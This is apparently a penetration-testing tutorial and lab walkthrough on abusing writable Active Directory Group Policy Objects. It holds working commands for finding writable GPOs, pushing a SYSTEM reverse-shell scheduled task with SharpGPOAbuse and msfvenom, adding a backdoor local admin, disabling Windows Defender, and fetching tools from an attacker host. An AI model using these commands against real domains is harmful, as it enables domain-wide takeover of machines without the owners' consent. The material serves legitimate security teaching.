Active Directory / ARTICLE

Group Policy Object (GPO) Abuse

بسم الله والصلاة والسلام على رسول الله
اللهم علمنا ما ينفعنا وانفعنا بما علمتنا وقنا عذاب النار

What is a GPO?

A Group Policy Object (GPO) is a collection of settings that controls the working environment of user accounts and computer accounts in an Active Directory domain. GPOs are used by administrators to:

  • Enforce password policies
  • Deploy software
  • Configure firewall rules
  • Map network drives
  • Run scripts at startup/logon

GPOs are linked to Sites, Domains, or OUs and every machine or user in that container automatically applies the policy.

https://www.techtarget.com/it-infrastructure/definition/What-is-Group-Policy-Object-GPO-and-why-is-it-important


Why GPOs are Dangerous from an Attacker’s Perspective

If an attacker has write access to a GPO they control every machine and user that GPO applies to. Instead of compromising machines one by one, a single GPO modification can:

  • Execute a reverse shell on hundreds of machines simultaneously
  • Add a backdoor local admin account on every workstation
  • Disable Windows Defender across the entire domain
  • Add a malicious scheduled task to every machine

GPO Structure

Every GPO in Active Directory has two components that work together:

1. Active Directory (LDAP)

GPO settings and metadata are stored in AD under:

CN={GPO-GUID},CN=Policies,CN=System,DC=hunters404,DC=com

Example:

CN={31B2F340-016D-11D2-945F-00C04FB984F9},CN=Policies,CN=System,DC=hunters404,DC=com

This contains:

  • GPO display name
  • Version number
  • Links to OUs
  • Permissions (ACLs)

2. SYSVOL (File System)

The actual policy files are stored on the Domain Controller at:

C:\Windows\SYSVOL\sysvol\hunters404.com\Policies\{GPO-GUID}\

Accessible over the network via:

\\hunters404.com\SYSVOL\hunters404.com\Policies\{GPO-GUID}\
\\DC1\SYSVOL\hunters404.com\Policies\{GPO-GUID}\

GPO Folder Structure

{GPO-GUID}\
├── GPT.INI              ← GPO version number & display name
├── Machine\             ← Computer Configuration settings
│   ├── Scripts\
│   │   ├── Startup\     ← Startup scripts
│   │   └── Shutdown\    ← Shutdown scripts
│   ├── Preferences\     ← Group Policy Preferences
│   └── Registry.pol     ← Registry settings
└── User\                ← User Configuration settings
    ├── Scripts\
    │   ├── Logon\       ← Logon scripts
    │   └── Logoff\      ← Logoff scripts
    ├── Preferences\
    └── Registry.pol

When the GPO is modified all machines in the linked OU apply the changes at next policy refresh (every 90 minutes by default, or immediately with gpupdate /force).

Domain (hunters404.com)
    └── GPO: Default Domain Policy
    └── GPO: Workstation Policy
            └── Linked to OU: Workstations
                    └── WS01
                    └── WS02

Finding Vulnerable GPOs

The first step is finding GPOs where a low-privilege user has write access.

Using PowerView:

# Import PowerView
Import-Module .\PowerView.ps1

# Find GPOs where current user has write access
Get-ObjectAcl -ResolveGUIDs | Where-Object {
    $_.ActiveDirectoryRights -match "WriteProperty|WriteDacl|WriteOwner|GenericWrite|GenericAll" -and
    $_.SecurityIdentifier -notmatch "S-1-5-18|S-1-5-32-544|S-1-5-32-548|S-1-5-32-549"
} | Select ObjectDN, ActiveDirectoryRights, SecurityIdentifier

Using BloodHound:

BloodHound automatically maps GPO relationships and shows:

  • Which users have WriteProperty, WriteDACL, or GenericAll on GPOs
  • Which OUs/machines are affected by each GPO
  • The shortest path from a compromised account to GPO abuse

Look for edges like:

victim1 ──GenericWrite──► GPO: Workstation Policy
GPO: Workstation Policy ──Affects──► WS01, WS02

Using Get-GPPermissions:

# List all GPOs and their permissions
Get-GPO -All | ForEach-Object {
    Get-GPPermissions -Guid $_.Id -All | Where-Object {
        $_.Permission -match "GpoEditDeleteModifySecurity|GpoEdit"
    } | Select @{n='GPO';e={$_.GPOName}}, @{n='User';e={$_.Trustee.Name}}, Permission
}

Attack Techniques

Technique 1 : Add Immediate Scheduled Task via GPO

The most reliable technique create a scheduled task through the GPO that runs on all affected machines:

Using SharpGPOAbuse:

# Add a scheduled task that runs a reverse shell
SharpGPOAbuse.exe --AddComputerTask --TaskName "WindowsUpdate" --Author "NT AUTHORITY\SYSTEM" --Command "cmd.exe" --Arguments "/c powershell -enc BASE64PAYLOAD" --GPOName "Workstation Policy"

Using PowerGPOAbuse (PowerShell):

# Add scheduled task to GPO
New-GPOImmediateTask -TaskName "WindowsUpdate" -GPODisplayName "Workstation Policy" -CommandArguments "-enc BASE64PAYLOAD" -Force

After gpupdate /force or 90 minutes every machine under the GPO executes the payload as SYSTEM.

Technique 2 : Add Local Admin via GPO

Add an attacker-controlled account as a local administrator on all affected machines:

Using SharpGPOAbuse:

SharpGPOAbuse.exe --AddLocalAdmin --UserAccount hacker --GPOName "Workstation Policy"

Manually via GPMC:

Group Policy Management → Edit GPO → Computer Configuration
→ Preferences → Control Panel Settings → Local Users and Groups
→ New → Local Group → Administrators → Add Member → hacker

After the policy applies the attacker can log in as local admin on every machine.

Technique 3 : Disable Windows Defender via GPO

# Find the GPO GUID
$gpo = Get-GPO -Name "Workstation Policy"

# Disable real-time protection
Set-GPRegistryValue -Guid $gpo.Id -Key "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" -ValueName "DisableAntiSpyware" -Type DWord -Value 1

Set-GPRegistryValue -Guid $gpo.Id -Key "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" -ValueName "DisableRealtimeMonitoring" -Type DWord -Value 1

Technique 4 : Deploy Malicious Script via GPO

Add a startup script to the GPO that runs on every boot:

Using GPMC manually:

Edit GPO → Computer Configuration → Windows Settings
→ Scripts (Startup/Shutdown) → Startup → Add
→ Script: \\DC1\SYSVOL\hunters404.com\Policies\{GPO-GUID}\Machine\Scripts\Startup\payload.bat

payload.bat:

@echo off
powershell -enc BASE64PAYLOAD

Lab Walkthrough

Step 1 : Find a GPO with Write Access

From WS01 as hacker:

Import-Module .\PowerView.ps1

# Find GPOs the current user can modify
Get-DomainGPO | Get-ObjectAcl -ResolveGUIDs | Where-Object {
    ($_.ActiveDirectoryRights -match "GenericWrite|WriteDacl|WriteProperty") -and
    ($_.SecurityIdentifier -eq (Get-DomainUser hacker).objectsid)
}

Step 2 : Identify Affected Machines

# Find which OUs the GPO is linked to
Get-DomainGPO -Name "Workstation Policy" | Get-DomainOU

# Find machines in that OU
Get-DomainComputer -SearchBase "OU=Workstations,DC=hunters404,DC=com"

Step 3 : Download SharpGPOAbuse

Transfer to the compromised machine:

Invoke-WebRequest -Uri "http://KALI_IP/SharpGPOAbuse.exe" -OutFile "C:\Windows\Temp\SharpGPOAbuse.exe"

Step 4 : Add Malicious Scheduled Task

Start a listener on Kali:

nc -lvp 4444

Generate payload:

msfvenom -p windows/x64/shell_reverse_tcp LHOST=KALI_IP LPORT=4444 -f ps1 | base64 -w 0

Add the task via GPO:

C:\Windows\Temp\SharpGPOAbuse.exe --AddComputerTask --TaskName "WindowsUpdate" --Author "NT AUTHORITY\SYSTEM" --Command "powershell.exe" --Arguments "-enc BASE64PAYLOAD" --GPOName "Default Domain Policy"

Step 5 : Force Policy Update on Target

Wait 90 minutes or force immediately:

# From attacker — force update on WS02
Invoke-Command -ComputerName WS02 -ScriptBlock { gpupdate /force }

# Or from WS02 directly
gpupdate /force

Step 6 : Receive the Shell

Back on Kali the listener receives a connection as SYSTEM from every machine the GPO applies to.

connect to [KALI_IP] from (UNKNOWN) [192.168.186.134] 50123
Microsoft Windows [Version 10.0.19041.1]
C:\Windows\system32>whoami
nt authority\system

Cleanup

After the engagement remove the malicious task:

SharpGPOAbuse.exe --RemoveComputerTask --TaskName "WindowsUpdate" --GPOName "Default Domain Policy"

سبحانك اللهم وبحمدك, أشهد أن لا إله إلا أنت, نستغفرك ونتوب إليك
← All journal articles
Scroll to Top
Home